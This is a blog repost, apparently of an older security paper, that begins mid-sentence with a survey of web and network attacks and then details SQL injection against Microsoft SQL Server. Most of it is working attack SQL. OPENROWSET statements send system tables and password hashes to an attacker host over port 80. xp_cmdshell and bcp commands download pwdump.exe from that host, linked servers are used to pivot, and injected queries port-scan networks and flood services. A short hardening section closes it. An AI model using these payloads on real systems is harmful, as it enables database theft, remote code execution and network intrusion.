of attacks.
URL encoding allows non-alphanumeric characters in URL strings so that regular alphanumeric
characters and symbols presented on most keyboards could be used. Certain web servers can be fooled
by nonstandard methods of encoding characters in the URL string.
The query portion of the URL is often used to submit data to the server. URL-encoding is a technique
defined in the URL/URI specifications for mapping 8-bit data to the subset of the US-ASCII character set
allowed in a URL/URI. Without proper validation, URL-encoded input can be used to disguise malicious
code for use in a variety of attacks.
Common Network-Level Exploits
While web application attacks are a new and growing threat, network layer attacks have long been a
concern. Any practical approach to security must take into consideration how to defend against attacks
at all layers. Some of the more common network-level exploits are described briefly below.
Denial of Service (DoS) Attacks
A denial of service attack is launched when an attacker overloads a site’s resources until service slows or
stops. This type of attack is carried out by directing a flood of connections to the site at such a large scale
that it surpasses the network’s ability to offer services to other users. The objective of a DoS attack is to
disrupt access to the site’s information and services.
One example of this is a SYN Flood, or TCP SYN attack. In this case, the attack begins with the client
sending a large number of SYN messages to the server. These requests appear to be legitimate but in fact
reference a client system that is unable to respond to SYN-ACK messages. In this sequence the handshake
is never completed, creating a series of half-open connections. As the number of half-open connections
builds, the server eventually exhausts its resources and stops accepting any TCP connection requests,resulting in denial of access to genuine users. Other well-known DoS attacks include WinNuke, teardrop,
Land, and bonk.
Distributed denial of service (DDoS) attacks use a large number of attacking machines to stage a DoS
attack against a victim. The attacker first compromises a number of machines, then coordinates their
efforts to launch the attack on a larger, targeted victim. Tools for launching DDoS attacks include
Stacheldraht, Tribe FloodNet (TFN), and Trinoo.
Betrayal of trust network layer attacks
IP spoofing and TCP session hijacking both involve subverting trusted or authenticated communication
links. Potential results include loss of confidentiality and data corruption.
Other TCP stack attacks
Other attacks target specific components of the TCP stack. An attacker may fragment a TCP header in an
attempt to bypass IDS systems, perhaps to prepare for future attacks. An IPFilter type attack sets
spurious, unusual TCP flags set.
The list of potential attacks and kinds of attacks is large. Whether through IP infrastructure or the
applications themselves, tracking and maintaining potential attacks and their defenses is an enormous,
ongoing job
Covering Their Tracks
Computer systems of interest to hackers usually keep track of all authorized and unauthorized access
attempts. Records, called computer logs, provide useful and often critical clues that a trained specialist
can use as the starting point to trace the hack.
Sophisticated hackers understand this and alter the logs upon gaining unauthorized access, thereby
hiding the evidence of their crimes.
The attacker will usually delete or alter the log files. Attackers might delete the logs before the leave the
system or just edit out relevant parts. This can get trickly, as some events are logged as individuals leave
the system. Most attackers will use a program that keeps the logs clean and make any changes necessary
after the leaving the system.
Beyond the DMZ
For years companies have been implementing strategies to protect network resources from intrusion and
corruption. By combining a variety of devices, companies have built reasonably good defenses against
many network layer (2-4) attacks.
Web applications and services have changed the nature of the threat. Attacks at the application level can
bypass traditional firewalls by embedding within HTTP traffic. As companies add ever-more criticalweb-based services, the concept of the demilitarized zone (DMZ) is no longer adequate to protect
corporate resources.
According to Gartner, organizations need to move beyond the concept of the DMZ. Instead of worrying
about servers and databases, the focus should be on business transactions themselves, creating the concept
of the Transaction Zone for security. Network firewalls and VPNs are not enough; the new security
approach must protect data and sites from application-based attacks, and incorporate secure logging for
all web-based transactions.

3. Manipulating
Microsoft SQL Server

When trying to exploit SQL Injection in an application, an attacker needs a method of determining if the
SQL injected is executed on the server. As well, a method of retrieving the results is needed. Two built-in
functions of SQL Server can be used for this purpose. The OPENROWSET and OPENDATASOURCE
functions allow a user in SQL Server to open remote data sources. These functions are used to open a
connection to an OLEDB provider. The OPENROWSET function will be use in all the examples but the
OPENDATASOURCE function could be used with the same results.
This statement will return all the rows of table1 on the remote data source:
select * from
OPENROWSET( 'SQLoledb',
'server=servername;uid=sa;pwd=h8ck3r',
'select * from table1' )
Parameters:
(1) OLEDB Provider name
(2) Connection string (could be an OLEDB data source or an ODBC connection string)
(3) SQL statement
The connection string parameter can specify other options such as the network library to use or the IP
address and port to which to connect. Below is an example.
select * from
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=10.0.0.10,1433;',
'select * from table' )
In this example, SQL Server will use the OLEDB provider SQLoledb to execute the SQL statement. The
OLEDB provider will use the SQL Server sockets library (DBMSSOCN) to connect to port 1433 on the
IP address 10.0.0.10 and will return the results of the SQL statement to the local SQL Server. The login sa
and the password h8ck3r will be used to authenticate to the remote data source.
The next example demonstrates how the OPENROWSET function can be used to connect to an arbitrary
IP address/port including the source IP address and port of the attacker. In this case the hacker’s host
name is hackersip and a version of Microsoft SQL Server is running on port 80. “hackersip” can be
replaced with an IP address and the port can be any port the hacker would like to direct connections to.
select * from
OPENROWSET('SQLoledb',
'uid=sa;pwd=;Network=DBMSSOCN;Address=hackersip,80;',
'select * from table')By injecting this SQL statement, an attacker can determine if the statement is being executed. If the SQL
is successfully executed, the attacked server will issue an outbound connection attempt to the attacker’s
computer on the port specified. It is also unlikely that the firewall will block this outbound SQL
connection because the connection is occurring over port 80.
This technique allows the attacker to determine if injected SQL statements executed even if error
messages and query results are not returned to the browser.The functions OPENROWSET and OPENDATASOURCE are most commonly used to pull data into
SQL Server to be manipulated. They can however also be used to push data to a remote SQL Server.
OPENROWSET can be used to not only execute SELECT statements, but also to execute UPDATE,
INSERT, and DELETE statements on external data sources. Performing data manipulation on remote data
sources is less common and only works if the OLEDB provider supports this functionality. The
SQLOLEDB provider support all these statements.
Below is an example of pushing data to an external data source:
insert into
OPENROWSET('SQLoledb',
'server=servername;uid=sa;pwd=h8ck3r',
'select * from table1')
select * from table2
In the example above, all rows in table2 on the local SQL Server will be appended to table1 in the remote
data source. In order for the statement to execute properly the two tables must have the same structure.
As we learned in the previous section, remote datasources can be redirected to any server of the attacker’s
choice. An attacker could change the statement above to connect to a remote datasource such as a copy of
Microsoft SQL Server running on the attacker’s machine.
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table1')
select * from table2
In order to insert into table1 properly, the attacker must create table1 with the same columns and data
types as table2. This information can be determined by performing this attack against system tables first.
This works because the structure of system tables are well-known. An attacker would start by creating a
table with similar column names and data types as the system tables sysdatabases, sysobjects and
syscolumns. Then to retrieve the necessary information, the following statements would be executed:
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysdatabases')
select * from master.dbo.sysdatabases
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysobjects')
select * from user_database.dbo.sysobjects
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _syscolumns')
select * from user_database.dbo.syscolumns.After recreating the tables in the database, loading the remaining data from the SQL Server is trivial.
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table1')
select * from database..table1
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table2')
select * from database..table2
Using this method, an attacker can retrieve the contents of a table even if the application is designed to
conceal error messages or invalid query results.
Given the appropriate privileges, the attacker could load the list of logins and password hashes as well:
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysxlogins')
select * from database.dbo.sysxlogins
Acquiring the password hashes would allow the attacks to perform a brute-force on the passwords.
The attacker can also execute commands on the attacked server and get the results:
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from temp_table')
exec master.dbo.xp_cmdshell 'dir'
If the firewall is configured to block all outbound SQL Server connections, the attacker can use one of
several techniques to circumvent the firewall. The attacker could set the address to push data on using
port 80 therefore appearing to be an HTTP connection. Below is an example of this technique.
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from table1')
select * from table1
If outbounds connections over port 80 are blocked at the firewall, the attacker could try differents port
numbers until an unblocked one was found.Often an administrator will follow security best-practices and configure the application to use a nonprivileged
login. Having found a vulnerability with the non-privileged login, an attacker will attempt to
elevate privileges to gain full administrator privileges. An attacker could exploit known and unknown
vulnerabilities to do so. Given the number of recent vulnerabilities discovered in SQL Server, if an
attacker can execute arbitrary queries, it is relatively easy to elevate privileges.Once an attacker has gained adequate privileges on the SQL Server, they will then want to upload
“binaries” to the server. Since this can not be done using protocols such as SMB, since port 137-139
typically is blocked at the firewall, the attacker will need another method of getting the binaries onto the
victim’s file system. This can be done by uploading a binary file into a table local to the attacker and then
pulling the data to the victim’s file system using a SQL Server connection.
To accomplish this the attacker would create a table on the local server as follows.
create table AttackerTable (data text)
Having created the table to hold the binary, the attacker would then upload the binary into the table as
follows:
bulk insert AttackerTable
from 'pwdump.exe'
with (codepage='RAW')
The binary can then be downloaded to the victim server from the attacker’s server by running the
following SQL statement on the victim server:
exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump.exe -c -
Craw -Shackersip -Usa -Ph8ck3r'
This statement will issue an outbound connection to the attacker’s server and write the results of the query
into a file recreating the executable. In this case, the connection will be made using the default protocol
and port which could likely be blocked by the firewall. To circumvent the firewall, the attacker could try:
exec xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo','Hacke
rSrvAlias','REG_SZ','DBMSSOCN,hackersip,80'
and then:
exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump.exe -c -
Craw -SHackerSrvAlias -Usa -Ph8ck3r'
The first SQL statement will configure a connection to the hacker’s server over port 80 while the second
SQL statement will connect to the hacker’s server using port 80 and download the binary file.
Another method a hacker could use would be to write Visual Basic Script (.vbs) or Java Script files (.js)
to the OS file system and then execute those scripts. Using this technique the scripts would connect to any
server and download the attacker’s binary files or even copy over the script and execute it in the victim
server.
exec xp_cmdshell '"first script line" >> script.vbs'
exec xp_cmdshell '"second script line" >> script.vbs'
...
exec xp_cmdshell '"last script line" >> script.vbs'
exec xp_cmdshell 'script.vbs' -->execute script to download binary.Linked and remote servers in Microsoft SQL Server allows one server to communicate transparently with
a remote database server. Linked servers allow you to execute distributed queries and even control remote
database servers. An attacker could use this capability to access the internal network.
An attacker would start by collecting information from the master.dbo.sysservers system table as
demonstrated here:
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysservers')
select * from master.dbo.sysservers
To expand further, the attacker could then query the information from the linked and remote servers.
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysservers')
select * from LinkedOrRemoteSrv1.master.dbo.sysservers
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysdatabases')
select * from LinkedOrRemoteSrv1.master.dbo.sysdatabases
...etc.
If the linked and remote servers are not configured for data access (not configured to run arbitraries
queries - only to execute stored procedures) the attacker could try:
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysservers')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select * from
master.dbo.sysservers'
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysdatabases')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select * from
master.dbo.sysdatabases'
...etc.Using this technique the attacker could leap frog from database server to database server, going deeper
into the internal network through linked and remote servers:
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysservers')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql
N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''select * from
master.dbo.sysservers'''
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysdatabases')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql
N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''select * from
master.dbo.sysdatabases'''
...etc.
Once the attacker has gained enough access to a linked or remote server, he or she could start uploading
files into the servers using the methods mentioned before.Using the techniques already described, an attacker could use a SQL Injection vulnerability as a
rudimentary IP/port scanner of the internal network or Internet. As well, using SQL injection, the actual
IP address of the attacker would be masked.
After finding a (web) application with weak input validation, the attacker could submit the following SQL
statement:
select * from
OPENROWSET('SQLoledb',
'uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,80;timeout=5',
'select * from table')
This statement will issue an outbound connection to 10.0.0.123 over port 80. Based on the error message
returned and the time consumed the attacker could determine if the port is open or not. If the port is
closed, the time specified in seconds in the timeout parameter will be consumed and the following error
message will be displayed:
SQL Server does not exist or access denied.
Then if the port is open, the time would not be consumed (this is somewhat dependent on the application
that actually exists on the port) and the following error messages will be returned:
General network error. Check your network documentation.
or
OLE DB provider 'sqloledb' reported an error. The provider did not give any
information about the error.
Using this technique, the attacker will be able to map open ports on the IP addresses of hosts on the
internal network or Internet hidding his IP address because the connection attempts are made by SQL
Server. Obviously this form of port scanner is a bit crude, but used methodically it can be used to
effectively map a network.
Another side affect of this form of port scanning is a Denial of Service attack. Take the following
example:
select * from
OPENROWSET('SQLoledb',
'uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,21;timeout=600',
'select * from table')
This command will issue outbound connections to 10.0.0.123 over port 21 for ten minutes performing
almost 1000 connections against the ftp service. This occurs because SQL Server cannot connect to a
valid instance and it continues to attempt to connect up to the time specified. This attack could be
submitted multiple times simultaneously to the same server thereby multiplying the effect.The strongest recommendation is to ensure that you do not have any SQL injection vulnerabilities. This is
the most important recommendation because even if you address all the issues brought up by this paper,
other issues will surely arise. To prevent SQL injection, it is recommended you use parameterized queries
and filter all user input for non-alphanumeric characters.
The most systematic method to do so is to set coding standards that require this to be done. If the code is
already written, a code review should be done to detect any vulnerabilities. It is also recommended you
look at some of the automated tools available for detecting these types of problems.
Even if you feel you have closed all known vulnerabilities, it is still in your best interest to prevent these
specific attacks by disabling some of SQL Server’s functionality. This is not practical if you are actually
using the functionality. Fortunately, the functionality we are looking to disable is not used often.
You should disallow ad hoc queries through OLEDB from SQL Server. Ad hoc queries from SQL Server
through OLEDB providers are controlled by setting the value DisallowAdhocAccess in the registry.
If you are using a named instance (Microsoft SQL Server 2000 only), set the value DisallowAdhocAccess
to 1 under each subkey of the registry key:
HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL Server\[Instancename]\Providers.
If you are using a default instance, set the value DisallowAdhocAccess to 1 under each subkey of the
registry key:
HKEY_LOCAL_MACHINE\Software\MSSQLServer\MSSQLServer\Providers.
Follow the steps below to set this value:
1) Start the Registry Editor (regedit.exe).
2) Find the registry key listed above.
3) Select the first provider subkey.
4) Select the menu item Edit\New\DWORD Value.
5) Set the name of the new DWORD value to DisallowAdhocAccess.
6) Double click on the value and set to 1.
7) Repeat for each provider.
If you are particularly paranoid, you can also set the registry keys to read-only to be extra sure they
cannot be edited.
It is also very important that you keep up to date with the latest security fixes and apply them as quickly
as possible. In order to keep up with the security holes, it is recommended that you sign up for the
AppSecInc Security Alerts targeted specifically at Microsoft SQL Server:
??http://www.appsecinc.com/resources/mailinglist.html
As a final precaution, configure and test firewall filters to block all unnecessary outbound traffic. This not
only helps secure your databases but helps secure the entire network.SQL is a general purpose language. No sane person would ever give any rights to run arbitrary C++ or Visual Basic on any server. It’s exactly the same with SQL. No sane person
should ever accept user input and execute it. This just shouldn’t happen. This paper shows some of the
many reasons why this is true.
Microsoft SQL Server is a powerful, flexible, and affordable database that serves as the back-bone of a
large number of applications. Because of these facts, it’s important we understand well how SQL Server
can be subverted and more importantly how to prevent it. SQL Server is a tool and if used incorrectly or
negligently can result in damage not only to the data in the databases, but also to other applications on the
network. This means that we have to start taking Microsoft SQL Server security seriously.

hosted by : a lonely israeli mossad agent .

No comments:

Post a Comment